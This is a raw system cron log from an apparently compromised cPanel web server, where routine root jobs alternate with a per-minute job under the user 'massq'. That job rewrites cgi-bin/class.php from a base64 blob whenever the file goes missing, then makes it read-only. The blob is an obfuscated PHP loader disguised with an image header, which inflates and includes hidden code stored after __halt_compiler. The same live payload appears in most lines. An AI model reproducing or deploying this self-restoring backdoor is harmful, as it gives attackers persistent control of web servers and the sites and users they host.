Nov 11 17:01:01 server CROND[11920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:01:01 server CROND[11921]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 17:01:01 server run-parts(/etc/cron.hourly)[11921]: starting 0anacron
Nov 11 17:01:01 server run-parts(/etc/cron.hourly)[11933]: finished 0anacron
Nov 11 17:02:01 server CROND[12799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:03:01 server CROND[13609]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:04:01 server CROND[14418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:05:01 server CROND[15363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:05:01 server CROND[15365]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 17:05:01 server CROND[15366]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 17:05:01 server CROND[15368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:05:01 server CROND[15367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:06:01 server CROND[16272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:07:01 server CROND[17092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:08:01 server CROND[17919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:09:01 server CROND[18785]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 17:09:01 server CROND[18786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:10:01 server CROND[19702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:10:01 server CROND[19704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:10:01 server CROND[19706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 17:10:01 server CROND[19705]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:11:01 server CROND[20548]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:12:01 server CROND[21367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:12:01 server CROND[21368]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 17:13:01 server CROND[21908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
